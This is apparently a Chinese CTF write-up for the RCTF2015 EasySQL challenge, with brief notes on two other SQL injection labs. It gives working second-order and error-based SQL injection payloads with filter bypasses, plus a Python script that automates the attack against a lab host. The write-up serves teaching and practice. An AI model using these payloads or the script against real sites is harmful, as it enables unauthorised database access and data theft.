[RCTF2015]EasySQL

一个登录页面,应该要先注册进入

随便注册

进入发现可以修改密码 第一想法就是二次注入

什么是二次注入

参考文章:https://www.cnblogs.com/jackie-lee/p/16124022.html

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,**恶意数据被读取并进入到SQL查询语句**所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说一次攻击造成不了什么,但是两次配合起来就会造成注入漏洞。
SQL二次注入,指的是在有些应用场景下,我们先把SQL注入的payload写入到目标站点数据库中,然后再在某些实际将该数据取出,使得我们写入的payload执行。
因此,SQL二次注入一般分为2步,第一步即向目标站点的数据库中插入恶意数据,第二步即使得我们插入的恶意数据被目标站点所引用。
SQL二次注入的实现,在第一步要求我们插入的恶意数据能够成功写入到目标站点的数据库中,站点可以对我们写入的恶意数据进行转义,但是数据本身不会被修改,也不会因为恶意的数据而拒绝我们的写入;第二步要求我们的恶意数据能够在某种应用场景下取出,并且不会对其站点内部的数据进行检验
所以也就是满足这两个条件即可

用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_string、mysql_real_escape_string等函数

数据库能够将恶意数据取出

这里情况相符

现在注册页面构造恶意的payload

fuzz发现uesrname这”没过滤

在注册账号这里username 这写入Gu0f3n”

修改密码这发现报错

猜测语句为

select * from user where username="Gu0f3n" " and password=' 5134f78f6e827c2a7e8767020cf23cbf''

双引号闭合有报错

尝试报错注入

||用来拼接 发现空格 /**/同时被过滤了括号绕过空格

直接查表

username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

XPATH syntax error: ‘:article,flag,users’

查列

username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

XPATH syntax error: ‘:flag’

flag在user表里

这里有个坑

因为限制长度所以列名没有显示清楚regexp(‘’^r’)

用来把想要的列名筛选出来and被过滤了用&&

username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
#XPATH syntax error: 'real_flag_1s_here'
username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

XPATH syntax error: ‘:name,pwd,email,real_flag_1s_here’

regexp 是一个正则表达式匹配操作符,通常用于检查某个字符串是否符合指定的正则表达式模式。

整个 regexp('^f') 的作用是筛选出 以字母 f 开头的值^:表示匹配字符串的开始

username=Gu0f3n"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

XPATH syntax error: ‘~flag{24b07aef-f8cc-4348-a482-12’

过滤了substr mid 等函数 用reverse函数

反转即可https://tool.box3.cn/reverse.html

username=Gu0f3n"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

XPATH syntax error: ‘~}c4d832e9db21-284a-8434-cc8f-fe’

反转拼接即可

flag{24b07aef-f8cc-4348-a482-12bd9e238d4c}

重开靶机用脚本试试

脚本

import requests

url_reg = 'http://3c31d529-aa22-4bca-88f5-3fa5d38b3a16.node5.buuoj.cn:81//register.php'
url_log = 'http://3c31d529-aa22-4bca-88f5-3fa5d38b3a16.node5.buuoj.cn:81//login.php'
url_change = 'http://3c31d529-aa22-4bca-88f5-3fa5d38b3a16.node5.buuoj.cn:81//changepwd.php'

pre = 'Gu0f3n"'
# 逆序闭合
suf = "')))),1))#"

# 正序闭合
# suf = "'))),1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()


def register(name):
data = {
'username': name,
'password': '123',
'email': '123',
}
r.post(url=url_reg, data=data)


def login(name):
data = {
'username': name,
'password': '123',
}
r.post(url=url_log, data=data)


def changepwd():
data = {
'oldpass': '',
'newpass': '',
}
kk = r.post(url=url_change, data=data)
if 'XPATH' in kk.text:
print(kk.text)


for i in s:
# 正序
# paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
# 逆序
paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
register(paylaod)
login(paylaod)
changepwd()

# 正序payload
# paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "'))),1))#"
# 逆序payload
# paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "')))),1))#"

先正序在逆序

之后拼接一下就可以出

flag{95001f84-9ad6-499b-9a06-9c0d2e6b8d4c}

October 2019 Twice SQL Injection

二次注入

简介这有回显

原理一样,注册页面没有过滤 直接盲猜表和列为flag

username=1' union select flag from flag#

flag{77a8ffbc-ad0e-4968-be7e-4c81898910a6}

[极客大挑战 2019]BabySQL

注入点在password

替换为空的是select union or

正常注入即可